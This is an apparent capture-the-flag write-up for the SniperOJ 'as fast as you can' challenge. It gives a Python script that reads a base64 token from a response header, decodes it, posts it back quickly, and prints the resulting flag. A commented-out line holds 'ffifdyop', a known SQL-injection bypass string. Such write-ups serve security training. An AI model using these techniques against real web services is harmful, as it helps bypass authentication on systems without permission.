SniperOJ-as fast as you can-writeup

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模块包
import requests
import base64

url = "http://202.118.236.191:10003/index.php"

s = requests.Session()
# payload = {'SniperOJ':'ffifdyop'}
cookie = {'PHPSESSID': 'rsrm1cvm97g50ff304'}
response = s.get(url)
# print(response.text)
b64 = response.headers['Get-flag']
print(b64)
answer = base64.b64decode(b64)
answer1 = answer.decode('ascii')
print(answer1)

payload = {'SniperOJ':answer1}
print (payload)
response = s.post(url, data=payload)
print(response.text)
# print(response.headers)

dlNLUkMwdEI4Nm1hUk5vQg==
vSKRC0tB86maRNoB
{‘SniperOJ’: ‘vSKRC0tB86maRNoB’}
Wow, prefect! Here is the flag : SniperOJ{faster_faster_faster_2333}
[Finished in 0.6s]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值